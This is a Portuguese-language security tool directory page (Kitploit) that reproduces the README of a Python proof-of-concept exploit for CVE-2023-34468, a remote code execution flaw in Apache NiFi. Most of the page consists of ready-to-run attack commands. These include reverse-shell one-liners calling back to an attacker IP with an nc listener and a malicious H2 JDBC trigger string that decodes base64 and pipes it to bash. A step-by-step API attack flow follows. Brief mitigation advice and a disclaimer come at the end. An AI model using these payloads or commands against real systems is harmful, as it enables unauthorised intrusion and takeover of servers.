Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
Ferramentas/GitHubGitHub/jeanpt/cve-2023-34468
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

Ver Repositório
111há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Exploit CVE-2023-34468

Estrelas do GitHub Licença do GitHub

Visão Geral

Este repositório fornece uma ferramenta de exploração baseada em Python para a CVE-2023-34468, uma vulnerabilidade crítica de execução remota de código (CVSS 9.8) no Apache NiFi, versões 0.0.2 até 1.21.0. Ela permite que usuários autenticados executem código arbitrário manipulando strings de conexão do banco de dados H2 com triggers incorporados.

⚠️ Aviso: Apenas para fins educacionais e testes autorizados. O acesso não autorizado a sistemas de computador é ilegal.

Detalhes da Vulnerabilidade

  • CVE ID: CVE-2023-34468
  • Versões Afetadas: Apache NiFi 0.0.2–1.21.0
  • Impacto: Execução Remota de Código (RCE)
  • Pontuação CVSS: 9.8 (Crítica)
  • Data da Descoberta: 12 de Junho de 2023
  • Descrição: Os serviços de controlador DBCPConnectionPool e HikariCPConnectionPool permitem que usuários configurem uma URL de banco de dados com o driver H2 que possibilita a execução de código Java arbitrário através da funcionalidade CREATE TRIGGER do H2. Quando uma conexão é inicializada, o código JavaScript incorporado é executado com os privilégios do NiFi.

Pré-requisitos

  • Python 3.7+
  • Biblioteca requests
  • Acesso de rede à API do NiFi (porta padrão 8080 ou 8443)
  • Instância NiFi de destino sem autenticação OU credenciais válidas
  • Configuração de listener para reverse shell (ex.: nc -lnvp 5555)

Início Rápido

Clonar e Instalar

git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

NiFi sem autenticação (nenhuma credencial necessária)

# Inicie seu listener
nc -lnvp 5555

# Execute o exploit — a autenticação é detectada automaticamente, sem flags necessárias para instâncias abertas
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

NiFi autenticado (usuário/senha)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

NiFi autenticado (token bearer)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <seu_token_bearer>

Pular limpeza (deixar artefatos no alvo)

python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

Todas as opções

python3 exploit.py --help
ComandoDescrição
-t, --targetURL da instância NiFi de destino (obrigatório)
-c, --commandComando a ser executado (obrigatório)
-lh, --lhostHost do listener para callback (obrigatório)
-lp, --lportPorta do listener para callback (obrigatório)
-u, --usernameNome de usuário NiFi (instâncias autenticadas)
-p, --passwordSenha NiFi (instâncias autenticadas)
--tokenToken bearer (instâncias autenticadas)
--no-cleanupPular limpeza após a exploração
--delaySegundos para aguardar antes da limpeza (padrão: 10)
--driver-pathSubstituir o caminho do jar do driver H2 (omitido por padrão)

Verificação: Verifique seu listener para a conexão reverse shell. Execute id para confirmar a execução de código.

Como Funciona (Detalhes Técnicos)

Fluxo do Ataque

  1. Reconhecimento: Identificar a versão do NiFi via /nifi-api/system-diagnostics
  2. Criar Serviço DBCP: POST da string de conexão H2 maliciosa para /nifi-api/process-groups/root/controller-services
  3. Criar Processador: POST do processador ExecuteSQL para o mesmo grupo de processos
  4. Configurar Processador: Associar processador ao serviço DBCP malicioso
  5. Habilitar Serviço: PUT para /nifi-api/controller-services/{id}/run-status com estado ENABLED
  6. Disparar RCE: PUT para /nifi-api/processors/{id}/run-status com estado RUNNING — o trigger H2 é acionado na conexão

Estrutura do Payload H2

jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

Pontos-chave:

  • Escapar ponto e vírgula com barra invertida: \;
  • JavaScript é acionado em BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (auto-acionado)
  • Codificar payload em Base64 para evitar problemas com caracteres especiais
  • Sinais de igual de padding são substituídos por espaços para evitar problemas de parsing do H2

Exemplos de Payload

Reverse Shell

# Execute o exploit diretamente
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

Execução de Comando

python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

Mitigação

  • Atualizar: Atualizar para Apache NiFi 1.22.0 ou superior
  • Controle de Acesso: Restringir acesso à API do NiFi via firewall/WAF
  • Autenticação: Habilitar e exigir autenticação no NiFi
  • Monitoramento: Alertar sobre configurações incomuns de serviços de controlador
  • Segmentação de Rede: Isolar NiFi de redes não confiáveis

Referências

  • NVD - CVE-2023-34468
  • Aviso de Segurança do Apache NiFi
  • NIFI-11653 - Rastreador de Problemas
  • Discussão na Lista de E-mails do Apache

Aviso Legal

Esta ferramenta é fornecida apenas para pesquisa de segurança e testes autorizados. O autor não se responsabiliza pelo uso indevido ou danos causados por este exploit. Sempre teste com responsabilidade apenas em ambientes autorizados.

Créditos

  • Descoberta: Matei "Mal" Badanoiu
  • Módulo Metasploit: h00die
  • POC em Python: Jean

Licença

Licença MIT - Consulte o arquivo LICENSE para obter detalhes


Construído para pesquisa de segurança e testes de penetração autorizados.

Tópicos: apache-nifi h2-database rce exploit cve-2023-34468 python segurança-pesquisa

Baixar ferramenta